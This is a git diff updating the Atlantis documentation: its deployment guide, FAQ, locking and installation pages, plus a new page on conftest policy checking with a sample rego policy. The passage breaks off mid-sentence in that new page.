Atlantis to the internet. -If you're using a private Git host like GitHub Enterprise, GitLab Enterprise or +If you're using a private Git host like GitHub Enterprise, GitLab Enterprise, self-hosted Gitea or Bitbucket Server, then Atlantis needs to be routable from the private host and Atlantis will need to be able to route to the private host. ### Data + Atlantis has no external database. Atlantis stores Terraform plan files on disk. If Atlantis loses that data in between a `plan` and `apply` cycle, then users will have to re-run `plan`. Because of this, you may want to provision a persistent disk @@ -32,6 +36,7 @@ for Atlantis. ## Deployment Pick your deployment type: + * [Kubernetes Helm Chart](#kubernetes-helm-chart) * [Kubernetes Manifests](#kubernetes-manifests) * [Kubernetes Kustomize](#kubernetes-kustomize) @@ -41,21 +46,27 @@ Pick your deployment type: * [Docker](#docker) * [Roll Your Own](#roll-your-own) - ### Kubernetes Helm Chart + Atlantis has an [official Helm chart](https://github.com/runatlantis/helm-charts/tree/main/charts/atlantis) To install: + 1. Add the runatlantis helm chart repository to helm + ```bash helm repo add runatlantis https://runatlantis.github.io/helm-charts ``` + 1. `cd` into a directory where you're going to configure your Atlantis Helm chart 1. Create a `values.yaml` file by running + ```bash helm inspect values runatlantis/atlantis > values.yaml ``` + 1. Edit `values.yaml` and add your access credentials and webhook secret + ```yaml # for example github: @@ -63,27 +74,33 @@ To install: token: bar secret: baz ``` -1. Edit `values.yaml` and set your `orgWhitelist` (see [Repo Whitelist](server-configuration.html#repo-whitelist) for more information) + +1. Edit `values.yaml` and set your `orgAllowlist` (see [Repo Allowlist](server-configuration.md#repo-allowlist) for more information) + ```yaml - orgWhitelist: github.com/runatlantis/* + orgAllowlist: github.com/runatlantis/* ``` -1. Configure any other variables (see [https://github.com/helm/charts/tree/master/stable/atlantis#customization](https://github.com/helm/charts/tree/master/stable/atlantis#customization) + + **Note**: For helm chart version < `4.0.2`, `orgWhitelist` must be used instead. +1. Configure any other variables (see [Atlantis Helm Chart: Customization](https://github.com/runatlantis/helm-charts#customization) for documentation) 1. Run + ```sh helm install atlantis runatlantis/atlantis -f values.yaml ``` - + If you are using helm v2, run: + ```sh helm install -f values.yaml runatlantis/atlantis ``` - Atlantis should be up and running in minutes! See [Next Steps](#next-steps) for what to do next. ### Kubernetes Manifests + If you'd like to use a raw Kubernetes manifest, we offer either a [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) or a [Statefulset](https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/) with persistent storage. @@ -93,35 +110,38 @@ or you upgrade Atlantis, you won't lose plans that haven't been applied. If you do lose that data, you just need to run `atlantis plan` again so it's not the end of the world. Regardless of whether you choose a Deployment or StatefulSet, first create a Secret with the webhook secret and access token: + ```bash echo -n "yourtoken" > token echo -n "yoursecret" > webhook-secret kubectl create secret generic atlantis-vcs --from-file=token --from-file=webhook-secret ``` -::: tip Note -If you're using Bitbucket Cloud then there is no webhook secret since it's not supported. -::: Next, edit the manifests below as follows: -1. Replace `` in `image: runatlantis/atlantis:` with the most recent version from [https://github.com/runatlantis/atlantis/releases/latest](https://github.com/runatlantis/atlantis/releases/latest). + +1. Replace `` in `image: ghcr.io/runatlantis/atlantis:` with the most recent version from [GitHub: Atlantis latest release](https://github.com/runatlantis/atlantis/releases/latest). * NOTE: You never want to run with `:latest` because if your Pod moves to a new node, Kubernetes will pull the latest image and you might end up upgrading Atlantis by accident! 2. Replace `value: github.com/yourorg/*` under `name: ATLANTIS_REPO_ALLOWLIST` with the allowlist pattern -for your Terraform repos. See [Repo Allowlist](server-configuration.html#repo-allowlist) for more details. +for your Terraform repos. See [--repo-allowlist](server-configuration.md#repo-allowlist) for more details. 3. If you're using GitHub: 1. Replace `` with the username of your Atlantis GitHub user without the `@`. - 2. Delete all the `ATLANTIS_GITLAB_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. + 2. Delete all the `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. 4. If you're using GitLab: 1. Replace `` with the username of your Atlantis GitLab user without the `@`. - 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. -5. If you're using Bitbucket: + 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITEA_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. +5. If you're using Gitea: + 1. Replace `` with the username of your Atlantis Gitea user without the `@`. + 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. +6. If you're using Bitbucket: 1. Replace `` with the username of your Atlantis Bitbucket user without the `@`. - 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. -6. If you're using Azure DevOps: + 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. +7. If you're using Azure DevOps: 1. Replace `` with the username of your Atlantis Azure DevOps user without the `@`. - 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, and `ATLANTIS_BITBUCKET_*` environment variables. + 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, and `ATLANTIS_BITBUCKET_*` environment variables. #### StatefulSet Manifest +
Show... @@ -139,17 +159,17 @@ spec: partition: 0 selector: matchLabels: - app: atlantis + app.kubernetes.io/name: atlantis template: metadata: labels: - app: atlantis + app.kubernetes.io/name: atlantis spec: securityContext: fsGroup: 1000 # Atlantis group (1000) read/write access to volumes. containers: - name: atlantis - image: runatlantis/atlantis:v # 1. Replace with the most recent release. + image: ghcr.io/runatlantis/atlantis:v # 1. Replace with the most recent release. env: - name: ATLANTIS_REPO_ALLOWLIST value: github.com/yourorg/* # 2. Replace this with your own repo allowlist. @@ -184,6 +204,21 @@ spec: key: webhook-secret ### End GitLab Config ### + ### Gitea Config ### + - name: ATLANTIS_GITEA_USER + value: # 4i. If you're using Gitea replace with the username of your Atlantis Gitea user without the `@`. + - name: ATLANTIS_GITEA_TOKEN + valueFrom: + secretKeyRef: + name: atlantis-vcs + key: token + - name: ATLANTIS_GITEA_WEBHOOK_SECRET + valueFrom: + secretKeyRef: + name: atlantis-vcs + key: webhook-secret + ### End Gitea Config ### + ### Bitbucket Config ### - name: ATLANTIS_BITBUCKET_USER value: # 5i. If you're using Bitbucket replace with the username of your Atlantis Bitbucket user without the `@`. @@ -192,6 +227,11 @@ spec: secretKeyRef: name: atlantis-vcs key: token + - name: ATLANTIS_BITBUCKET_WEBHOOK_SECRET + valueFrom: + secretKeyRef: + name: atlantis-vcs + key: webhook-secret ### End Bitbucket Config ### ### Azure DevOps Config ### @@ -269,12 +309,13 @@ spec: port: 80 targetPort: 4141 selector: - app: atlantis + app.kubernetes.io/name: atlantis ``` -
+ #### Deployment Manifest +
Show... @@ -284,20 +325,20 @@ kind: Deployment metadata: name: atlantis labels: - app: atlantis + app.kubernetes.io/name: atlantis spec: replicas: 1 selector: matchLabels: - app: atlantis + app.kubernetes.io/name: atlantis template: metadata: labels: - app: atlantis + app.kubernetes.io/name: atlantis spec: containers: - name: atlantis - image: runatlantis/atlantis:v # 1. Replace with the most recent release. + image: ghcr.io/runatlantis/atlantis:v # 1. Replace with the most recent release. env: - name: ATLANTIS_REPO_ALLOWLIST value: github.com/yourorg/* # 2. Replace this with your own repo allowlist. @@ -332,6 +373,21 @@ spec: key: webhook-secret ### End GitLab Config ### + ### Gitea Config ### + - name: ATLANTIS_GITEA_USER + value: # 4i. If you're using Gitea replace with the username of your Atlantis Gitea user without the `@`. + - name: ATLANTIS_GITEA_TOKEN + valueFrom: + secretKeyRef: + name: atlantis-vcs + key: token + - name: ATLANTIS_GITEA_WEBHOOK_SECRET + valueFrom: + secretKeyRef: + name: atlantis-vcs + key: webhook-secret + ### End Gitea Config ### + ### Bitbucket Config ### - name: ATLANTIS_BITBUCKET_USER value: # 5i. If you're using Bitbucket replace with the username of your Atlantis Bitbucket user without the `@`. @@ -402,16 +458,18 @@ spec: port: 80 targetPort: 4141 selector: - app: atlantis + app.kubernetes.io/name: atlantis ``` +
#### Routing and SSL + The manifests above create a Kubernetes `Service` of `type: ClusterIP` which isn't accessible outside your cluster. Depending on how you're doing routing into Kubernetes, you may want to use a Service of `type: LoadBalancer` so that Atlantis is accessible to GitHub/GitLab and your internal users. -If you want to add SSL you can use something like [https://github.com/jetstack/cert-manager](https://github.com/jetstack/cert-manager) to generate SSL +If you want to add SSL you can use something like [cert-manager](https://github.com/cert-manager/cert-manager) to generate SSL certs and mount them into the Pod. Then set the `ATLANTIS_SSL_CERT_FILE` and `ATLANTIS_SSL_KEY_FILE` environment variables to enable SSL. You could also set up SSL at your LoadBalancer. @@ -424,6 +482,7 @@ A `kustomization.yaml` file is provided in the directory `kustomize/`, so you ma You will need to provide a secret (with the default name of `atlantis-vcs`) to configure Atlantis with access credentials for your remote repositories. Example: + ```yaml bases: - github.com/runatlantis/atlantis//kustomize @@ -449,7 +508,6 @@ patchesStrategicMerge: #### Required - ```yaml ... containers: @@ -480,6 +538,26 @@ containers: key: webhook-secret ``` +#### Gitea + +```yaml +containers: +- name: atlantis + env: + - name: ATLANTIS_GITEA_USER + value: # 4i. If you're using Gitea replace with the username of your Atlantis Gitea user without the `@`. + - name: ATLANTIS_GITEA_TOKEN + valueFrom: + secretKeyRef: + name: atlantis-vcs + key: token + - name: ATLANTIS_GITEA_WEBHOOK_SECRET + valueFrom: + secretKeyRef: + name: atlantis-vcs + key: webhook-secret +``` + #### GitHub ```yaml @@ -518,61 +596,88 @@ containers: ``` ### OpenShift + The Helm chart and Kubernetes manifests above are compatible with OpenShift, however you need to run with an additional environment variable: `HOME=/home/atlantis`. This is required because OpenShift runs Docker images with random user id's that use `/` as their home directory. ### AWS Fargate + If you'd like to run Atlantis on [AWS Fargate](https://aws.amazon.com/fargate/) - check out the Atlantis module on the Terraform Module Registry: [https://registry.terraform.io/modules/terraform-aws-modules/atlantis/aws](https://registry.terraform.io/modules/terraform-aws-modules/atlantis/aws) + check out the Atlantis module on the [Terraform Module Registry](https://registry.terraform.io/modules/terraform-aws-modules/atlantis/aws/latest) and then check out the [Next Steps](#next-steps). ### Google Kubernetes Engine (GKE) + You can run Atlantis on GKE using the [Helm chart](#kubernetes-helm-chart) or the [manifests](#kubernetes-manifests). There is also a set of full Terraform configurations that create a GKE Cluster, -Cloud Storage Backend and TLS certs: [https://github.com/sethvargo/atlantis-on-gke](https://github.com/sethvargo/atlantis-on-gke). +Cloud Storage Backend and TLS certs: [sethvargo atlantis-on-gke](https://github.com/sethvargo/atlantis-on-gke). Once you're done, see [Next Steps](#next-steps). +### Google Compute Engine (GCE) + +Atlantis can be run on Google Compute Engine using a Terraform module that deploys it as a Docker container on a managed Compute Engine instance. + +This [Terraform module](https://registry.terraform.io/modules/runatlantis/atlantis/gce/latest) features the creation of a Cloud load balancer, a Container-Optimized OS-based VM, a persistent data disk, and a managed instance group. + +After it is deployed, see [Next Steps](#next-steps). + ### Docker -Atlantis has an [official](https://hub.docker.com/r/runatlantis/atlantis/) Docker image: `runatlantis/atlantis`. + +Atlantis has an [official](https://ghcr.io/runatlantis/atlantis) Docker image: `ghcr.io/runatlantis/atlantis`. #### Customization + If you need to modify the Docker image that we provide, for instance to add the terragrunt binary, you can do something like this: 1. Create a custom docker file + ```dockerfile - FROM runatlantis/atlantis:{latest version} + FROM ghcr.io/runatlantis/atlantis:{latest version} # copy a terraform binary of the version you need + USER root COPY terragrunt /usr/local/bin/terragrunt ``` +Beginning with version 0.26.0, the Atlantis image has been updated to run under the atlantis user, replacing the previous root user configuration. This change necessitates adjustments in existing container definitions and scripts to accommodate the new user settings. In scenarios where additional packages from other images are required, users can temporarily switch to the root user by inserting USER root in the Dockerfile. Following the installation of necessary packages, it is advisable to revert to the atlantis user for initiating the Atlantis service. +Additionally, the /docker-entrypoint.d/ directory offers a flexible option for introducing extra scripts to be executed prior to the launch of the Atlantis server. This feature is particularly beneficial for users seeking to customize their Atlantis instance without the need to develop a dedicated pipeline. +**Important Notice**: There is a critical update regarding the data directory in Atlantis. In versions prior to 0.26.0, the directory was configured to be accessible by the root user. However, with the transition to the atlantis user in newer versions, it is imperative to update the directory permissions accordingly in your current deployment when upgrading to a version later than 0.26.0. This step ensures seamless access and functionality for the atlantis user. + 1. Build your Docker image + ```bash docker build -t {YOUR_DOCKER_ORG}/atlantis-custom . ``` 1. Run your image + ```bash docker run {YOUR_DOCKER_ORG}/atlantis-custom server --gh-user=GITHUB_USERNAME --gh-token=GITHUB_TOKEN ``` ### Microsoft Azure + The standard [Kubernetes Helm Chart](#kubernetes-helm-chart) should work fine on [Azure Kubernetes Service](https://docs.microsoft.com/en-us/azure/aks/intro-kubernetes). -Another option is [Azure Container Instances](https://docs.microsoft.com/en-us/azure/container-instances/). See this community member's [repo](https://github.com/jplane/atlantis-on-aci) for install scripts and more information on running Atlantis on ACI. +Another option is [Azure Container Instances](https://docs.microsoft.com/en-us/azure/container-instances/). See this community member's [repo](https://github.com/jplane/atlantis-on-aci) or the new and more up-to-date [Terraform module](https://github.com/getindata/terraform-azurerm-atlantis) for install scripts and more information on running Atlantis on ACI. + +**Note on ACI Deployment:** Due to a bug in earlier Docker releases, Docker v23.0.0 or later is required for straightforward deployment. Alternatively, the Atlantis Docker image can be pushed to a private registry such as ACR and then used. ### Roll Your Own + If you want to roll your own Atlantis installation, you can get the `atlantis` -binary from [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) -or use the [official Docker image](https://hub.docker.com/r/runatlantis/atlantis/). +binary from [GitHub](https://github.com/runatlantis/atlantis/releases) +or use the [official Docker image](https://ghcr.io/runatlantis/atlantis). #### Startup Command + The exact flags to `atlantis server` depends on your Git host: ##### GitHub + ```bash atlantis server \ --atlantis-url="$URL" \ @@ -583,6 +688,7 @@ atlantis server \ ``` ##### GitHub Enterprise + ```bash HOSTNAME=YOUR_GITHUB_ENTERPRISE_HOSTNAME # ex. github.runatlantis.io atlantis server \ @@ -595,6 +701,7 @@ atlantis server \ ``` ##### GitLab + ```bash atlantis server \ --atlantis-url="$URL" \ @@ -605,6 +712,7 @@ atlantis server \ ``` ##### GitLab Enterprise + ```bash HOSTNAME=YOUR_GITLAB_ENTERPRISE_HOSTNAME # ex. gitlab.runatlantis.io atlantis server \ @@ -616,16 +724,31 @@ atlantis server \ --repo-allowlist="$REPO_ALLOWLIST" ``` +##### Gitea + +```bash +atlantis server \ +--atlantis-url="$URL" \ +--gitea-user="$USERNAME" \ +--gitea-token="$TOKEN" \ +--gitea-webhook-secret="$SECRET" \ +--gitea-page-size=30 \ +--repo-allowlist="$REPO_ALLOWLIST" +``` + ##### Bitbucket Cloud (bitbucket.org) + ```bash atlantis server \ --atlantis-url="$URL" \ --bitbucket-user="$USERNAME" \ --bitbucket-token="$TOKEN" \ +--bitbucket-webhook-secret="$SECRET" \ --repo-allowlist="$REPO_ALLOWLIST" ``` ##### Bitbucket Server (aka Stash) + ```bash BASE_URL=YOUR_BITBUCKET_SERVER_URL # ex. http://bitbucket.mycorp:7990 atlantis server \ @@ -654,21 +777,23 @@ atlantis server \ ``` Where -- `$URL` is the URL that Atlantis can be reached at -- `$USERNAME` is the GitHub/GitLab/Bitbucket/AzureDevops username you generated the token for -- `$TOKEN` is the access token you created. If you don't want this to be passed + +* `$URL` is the URL that Atlantis can be reached at +* `$USERNAME` is the GitHub/GitLab/Gitea/Bitbucket/AzureDevops username you generated the token for +* `$TOKEN` is the access token you created. If you don't want this to be passed in as an argument for security reasons you can specify it in a config file - (see [Configuration](/docs/server-configuration.html#environment-variables)) - or as an environment variable: `ATLANTIS_GH_TOKEN` or `ATLANTIS_GITLAB_TOKEN` + (see [Configuration](server-configuration.md#environment-variables)) + or as an environment variable: `ATLANTIS_GH_TOKEN` or `ATLANTIS_GITLAB_TOKEN` or `ATLANTIS_GITEA_TOKEN` or `ATLANTIS_BITBUCKET_TOKEN` or `ATLANTIS_AZUREDEVOPS_TOKEN` -- `$SECRET` is the random key you used for the webhook secret. +* `$SECRET` is the random key you used for the webhook secret. If you don't want this to be passed in as an argument for security reasons you can specify it in a config file - (see [Configuration](/docs/server-configuration.html#environment-variables)) - or as an environment variable: `ATLANTIS_GH_WEBHOOK_SECRET` or `ATLANTIS_GITLAB_WEBHOOK_SECRET` -- `$REPO_ALLOWLIST` is which repos Atlantis can run on, ex. + (see [Configuration](server-configuration.md#environment-variables)) + or as an environment variable: `ATLANTIS_GH_WEBHOOK_SECRET` or `ATLANTIS_GITLAB_WEBHOOK_SECRET` or + `ATLANTIS_GITEA_WEBHOOK_SECRET` +* `$REPO_ALLOWLIST` is which repos Atlantis can run on, ex. `github.com/runatlantis/*` or `github.enterprise.corp.com/*`. - See [Repo Allowlist](server-configuration.html#repo-allowlist) for more details. + See [--repo-allowlist](server-configuration.md#repo-allowlist) for more details. Atlantis is now running! ::: tip @@ -677,5 +802,6 @@ restart it in case of failure. ::: ## Next Steps + * To ensure Atlantis is running, load its UI. By default Atlantis runs on port `4141`. -* Now you're ready to add Webhooks to your repos. See [Configuring Webhooks](configuring-webhooks.html). +* Now you're ready to add Webhooks to your repos. See [Configuring Webhooks](configuring-webhooks.md). diff --git a/runatlantis.io/docs/faq.md b/runatlantis.io/docs/faq.md index 379bd74e99..1764719d97 100644 --- a/runatlantis.io/docs/faq.md +++ b/runatlantis.io/docs/faq.md @@ -1,9 +1,10 @@ # FAQ -**Q: Does Atlantis affect Terraform [remote state](https://www.terraform.io/docs/state/remote.html)?** + +**Q: Does Atlantis affect Terraform [remote state](https://developer.hashicorp.com/terraform/language/state/remote)?** A: No. Atlantis does not interfere with Terraform remote state in any way. Under the hood, Atlantis is simply executing `terraform plan` and `terraform apply`. -**Q: How does Atlantis locking interact with Terraform [locking](https://www.terraform.io/docs/state/locking.html)?** +**Q: How does Atlantis locking interact with Terraform [locking](https://developer.hashicorp.com/terraform/language/state/locking)?** A: Atlantis provides locking of pull requests that prevents concurrent modification of the same infrastructure (Terraform project) whereas Terraform locking only prevents two concurrent `terraform apply`'s from happening. @@ -13,7 +14,7 @@ Terraform locking can be used alongside Atlantis locking since Atlantis is simpl A: Atlantis server can easily be run under the supervision of a init system like `upstart` or `systemd` to make sure `atlantis server` is always running. -Atlantis currently stores all locking and Terraform plans locally on disk under the `--data-dir` directory (defaults to `~/.atlantis`). Because of this there is currently no way to run two or more Atlantis instances concurrently. +Atlantis, by default, stores all locking and Terraform plans locally on disk under the `--data-dir` directory (defaults to `~/.atlantis`). If multiple Atlantis hosts are run by utilizing a shared redis backend, then it's important that the `data-dir` is using a shared filesystem between hosts. However, if you were to lose the data, all you would need to do is run `atlantis plan` again on the pull requests that are open. If someone tries to run `atlantis apply` after the data has been lost then they will get an error back, so they will have to re-plan anyway. @@ -25,4 +26,4 @@ See `atlantis server --help` for more information. **Q: How can I get Atlantis up and running on AWS?** -A: There is [terraform-aws-atlantis](https://github.com/terraform-aws-modules/terraform-aws-atlantis) project where complete Terraform configurations for running Atlantis on AWS Fargate are hosted. Tested and maintained. \ No newline at end of file +A: There is [terraform-aws-atlantis](https://github.com/terraform-aws-modules/terraform-aws-atlantis) project where complete Terraform configurations for running Atlantis on AWS Fargate are hosted. Tested and maintained. diff --git a/runatlantis.io/docs/how-atlantis-works.md b/runatlantis.io/docs/how-atlantis-works.md index 261a9fb9e5..f486091b3b 100644 --- a/runatlantis.io/docs/how-atlantis-works.md +++ b/runatlantis.io/docs/how-atlantis-works.md @@ -1,5 +1,8 @@ # How Atlantis Works + This section of docs talks about how Atlantis at deeper level. -* [Locking](locking.html) -* [Autoplanning](autoplanning.html) +* [Locking](locking.md) +* [Autoplanning](autoplanning.md) +* [Automerging](automerging.md) +* [Security](security.md) diff --git a/runatlantis.io/docs/images/plan.png b/runatlantis.io/docs/images/plan.png new file mode 100644 index 0000000000..cfdffc44ad Binary files /dev/null and b/runatlantis.io/docs/images/plan.png differ diff --git a/runatlantis.io/docs/images/plan_output.png b/runatlantis.io/docs/images/plan_output.png new file mode 100644 index 0000000000..46292d7b08 Binary files /dev/null and b/runatlantis.io/docs/images/plan_output.png differ diff --git a/runatlantis.io/docs/images/policy-check-apply-failure.png b/runatlantis.io/docs/images/policy-check-apply-failure.png new file mode 100644 index 0000000000..eb6095e314 Binary files /dev/null and b/runatlantis.io/docs/images/policy-check-apply-failure.png differ diff --git a/runatlantis.io/docs/images/policy-check-apply-status-failure.png b/runatlantis.io/docs/images/policy-check-apply-status-failure.png new file mode 100644 index 0000000000..e31c04f20e Binary files /dev/null and b/runatlantis.io/docs/images/policy-check-apply-status-failure.png differ diff --git a/runatlantis.io/docs/images/policy-check-approval.png b/runatlantis.io/docs/images/policy-check-approval.png new file mode 100644 index 0000000000..eb9685fb19 Binary files /dev/null and b/runatlantis.io/docs/images/policy-check-approval.png differ diff --git a/runatlantis.io/docs/images/pr-comment-apply.png b/runatlantis.io/docs/images/pr-comment-apply.png deleted file mode 100644 index 5adc8f049b..0000000000 Binary files a/runatlantis.io/docs/images/pr-comment-apply.png and /dev/null differ diff --git a/runatlantis.io/docs/images/pr-comment-plan.png b/runatlantis.io/docs/images/pr-comment-plan.png deleted file mode 100644 index 9233996a80..0000000000 Binary files a/runatlantis.io/docs/images/pr-comment-plan.png and /dev/null differ diff --git a/runatlantis.io/docs/installation-guide.md b/runatlantis.io/docs/installation-guide.md index fafa5d5b90..f5f1bd71d1 100644 --- a/runatlantis.io/docs/installation-guide.md +++ b/runatlantis.io/docs/installation-guide.md @@ -1,20 +1,22 @@ # Installation Guide + This guide is for installing a **production-ready** instance of Atlantis onto your infrastructure: + 1. First, ensure your Terraform setup meets the Atlantis **requirements** - * See [Requirements](requirements.html) -1. Create **access credentials** for your Git host (GitHub, GitLab, Bitbucket, Azure DevOps) - * See [Generating Git Host Access Credentials](access-credentials.html) + * See [Requirements](requirements.md) +1. Create **access credentials** for your Git host (GitHub, GitLab, Gitea, Bitbucket, Azure DevOps) + * See [Generating Git Host Access Credentials](access-credentials.md) 1. Create a **webhook secret** so Atlantis can validate webhooks - * See [Creating a Webhook Secret](webhook-secrets.html) + * See [Creating a Webhook Secret](webhook-secrets.md) 1. **Deploy** Atlantis into your infrastructure - * See [Deployment](deployment.html) + * See [Deployment](deployment.md) 1. Configure **Webhooks** on your Git host so Atlantis can respond to your pull requests - * See [Configuring Webhooks](configuring-webhooks.html) + * See [Configuring Webhooks](configuring-webhooks.md) 1. Configure **provider credentials** so Atlantis can actually run Terraform commands - * See [Provider Credentials](provider-credentials.html) + * See [Provider Credentials](provider-credentials.md) :::tip -If you want to test out Atlantis first, check out [Test Drive](../guide/test-drive.html) -and [Testing Locally](../guide/testing-locally.html). +If you want to test out Atlantis first, check out [Test Drive](../guide/test-drive.md) +and [Testing Locally](../guide/testing-locally.md). ::: diff --git a/runatlantis.io/docs/locking.md b/runatlantis.io/docs/locking.md index b723163c73..c75e2b3fce 100644 --- a/runatlantis.io/docs/locking.md +++ b/runatlantis.io/docs/locking.md @@ -1,4 +1,5 @@ # Locking + When `plan` is run, the directory and Terraform workspace are **Locked** until the pull request is merged or closed, or the plan is manually deleted. If another user attempts to `plan` for the same directory and workspace in a different pull request @@ -12,24 +13,24 @@ Which links them to the pull request that holds the lock. Only the directory in the repo and Terraform workspace are locked, not the whole repo. ::: -[[toc]] - ## Why + 1. Because `atlantis apply` is being done before the pull request is merged, after -an apply your `master` branch does not represent the most up to date version of your infrastructure +an apply your `main` branch does not represent the most up to date version of your infrastructure anymore. With locking, you can ensure that no other changes will be made until the pull request is merged. ::: tip Why not apply on merge? Sometimes `terraform apply` fails. If the apply were to fail after the pull request was merged, you would need to create a new pull request to fix it. -With locking + applying on the branch, you effectively mimic merging to master +With locking + applying on the branch, you effectively mimic merging to main but with the added ability to re-plan/apply multiple times if things don't work. ::: 2. If there is already a `plan` in progress, other users won't see a plan that will be made invalid after the in-progress plan is applied. ## Viewing Locks + To view locks, go to the URL that Atlantis is hosted at: ![Locks View](./images/locks-ui.png) @@ -41,10 +42,11 @@ You can click on a lock to view its details:

## Unlocking + The project and workspace will be automatically unlocked when the PR is merged or closed. -To unlock the project and workspace without completing an `apply` and merging, click the link -at the bottom of the plan comment to discard the plan and delete the lock where +To unlock the project and workspace without completing an `apply` and merging, comment `atlantis unlock` on the PR, +or click the link at the bottom of the plan comment to discard the plan and delete the lock where it says **"To discard this plan click here"**: ![Locks View](./images/lock-delete-comment.png) @@ -59,10 +61,11 @@ to delete the lock. Once a plan is discarded, you'll need to run `plan` again prior to running `apply` when you go back to that pull request. ## Relationship to Terraform State Locking -Atlantis does not conflict with [Terraform State Locking](https://www.terraform.io/docs/state/locking.html). Under the hood, all + +Atlantis does not conflict with [Terraform State Locking](https://developer.hashicorp.com/terraform/language/state/locking). Under the hood, all Atlantis is doing is running `terraform plan` and `apply` and so all of the locking built in to those commands by Terraform isn't affected. In more detail, Terraform state locking locks the state while you run `terraform apply` -so that multiple apply's can't run concurrently. Atlantis's locking is at a higher +so that multiple applies can't run concurrently. Atlantis's locking is at a higher level because it prevents multiple pull requests from working on the same state. diff --git a/runatlantis.io/docs/policy-checking.md b/runatlantis.io/docs/policy-checking.md new file mode 100644 index 0000000000..98bc6c760b --- /dev/null +++ b/runatlantis.io/docs/policy-checking.md @@ -0,0 +1,229 @@ +# Conftest Policy Checking + +Atlantis supports running server-side [conftest](https://www.conftest.dev/) policies against the plan output. Common usecases +for using this step include: + +- Denying usage of a list of modules +- Asserting attributes of a resource at creation time +- Catching unintentional resource deletions +- Preventing security risks (ie. exposing secure ports to the public) + +## How it works? + +Enabling "policy checking" in addition to the [mergeable apply requirement](command-requirements.md#supported-requirements) blocks applies on plans that fail any of the defined conftest policies. + +![Policy Check Apply Failure](./images/policy-check-apply-failure.png) + +![Policy Check Apply Status Failure](./images/policy-check-apply-status-failure.png) + +Any failures need to either be addressed in a successive commit, or approved by top-level owner(s) of policies or the owner(s) of the policy set in question. Policy approvals are independent of the approval apply requirement which can coexist in the policy checking workflow. After policies are approved, the apply can proceed. + +![Policy Check Approval](./images/policy-check-approval.png) + +Policy approvals may be cleared either by re-planing, or by issuing the following command: + +```shell +atlantis approve_policies --clear-policy-approval +``` + +::: warning +Any plans following the approval will discard any policy approval and prompt again for it. +::: + +## Getting Started + +This section will provide a guide on how to get set up with a simple policy that fails creation of `null_resource`'s and requires approval from a blessed user. + +### Step 1: Enable the workflow + +Enable the workflow using the following server configuration flag `--enable-policy-checks` + +::: warning +All repositories will have policy checking enabled. +::: + +### Step 2: Define the policy configuration + +Policy Configuration is defined in the [server-side repo configuration](server-side-repo-config.md#reference). + +In this example we will define one policy set with one owner: + +```yaml +policies: + owners: + users: + - nishkrishnan + policy_sets: + - name: deny_null_resource + path: /policies/deny_null_resource/ + source: local + - name: deny_local_exec + path: /policies/deny_local_exec/ + source: local + approve_count: 2 + owners: + users: + - pseudomorph +``` + +- `name` - A name of your policy set. +- `path` - Path to a policies directory. *Note: replace `` with absolute dir path to conftest policy/policies.* +- `source` - Tells atlantis where to fetch the policies from. Currently you can only host policies locally by using `local`. +- `owners` - Defines the users/teams which are able to approve a specific policy set. +- `approve_count` - Defines the number of approvals needed to bypass policy checks. Defaults to the top-level policies configuration, if not specified. +- `prevent_self_approve` - Defines whether the PR author can approve policies + +By default conftest is configured to only run the `main` package. If you wish to run specific/multiple policies consider passing `--namespace` or `--all-namespaces` to conftest with [`extra_args`](custom-workflows.md#adding-extra-arguments-to-terraform-commands) via a custom workflow as shown in the below example. + +Example Server Side Repo configuration using `--all-namespaces` and a local src dir. + +```yaml +repos: + - id: github.com/myorg/example-repo + workflow: custom +policies: + owners: + users: + - example-dev + policy_sets: + - name: example-conf-tests + path: /home/atlantis/conftest_policies # Consider separate vcs & mount into container + source: local +workflows: + custom: + plan: + steps: + - init + - plan + policy_check: + steps: + - policy_check: + extra_args: ["-p /home/atlantis/conftest_policies/", "--all-namespaces"] +``` + +### Step 3: Write the policy + +Conftest policies are based on [Open Policy Agent (OPA)](https://www.openpolicyagent.org/) and written in [rego](https://www.openpolicyagent.org/docs/latest/policy-language/#what-is-rego). Following our example, simply create a `rego` file in `null_resource_warning` folder with following code, the code below a simple policy that will fail for plans containing newly created `null_resource`s. + +```rego +package main + +resource_types = {"null_resource"} + +# all resources +resources[resource_type] = all { + some resource_type + resource_types[resource_type] + all := [name | + name:= input.resource_changes[_] + name.type == resource_type + ] +} + +# number of creations of resources of a given type +num_creates[resource_type] = num { + some resource_type + resource_types[resource_type] + all := resources[resource_type] + creates := [res | res:= all[_]; res.change.actions[_] == "create"] + num := count(creates) +} + +deny[msg] { + num_resources := num_creates["null_resource"] + + num_resources > 0 + + msg := "null resources cannot be created" +} + +``` + +That's it! Now your Atlantis instance is configured to run policies on your Terraform plans 🎉 + +## Customizing the conftest command + +### Pulling policies from a remote location + +Conftest supports [pulling policies](https://www.conftest.dev/sharing/#pulling) from remote locations such as S3, git, OCI, and other protocols supported by the [go-getter](https://github.com/hashicorp/go-getter) library. The key [`extra_args`](custom-workflows.md#adding-extra-arguments-to-terraform-commands) can be used to pass in the [`--update`](https://www.conftest.dev/sharing/#-update-flag) flag to tell `conftest` to pull the policies into the project folder before running the policy check. + +```yaml +workflows: + custom: + plan: + steps: + - init + - plan + policy_check: + steps: + - policy_check: + extra_args: ["--update", "s3::https://s3.amazonaws.com/bucket/foo"] +``` + +Note that authentication may need to be 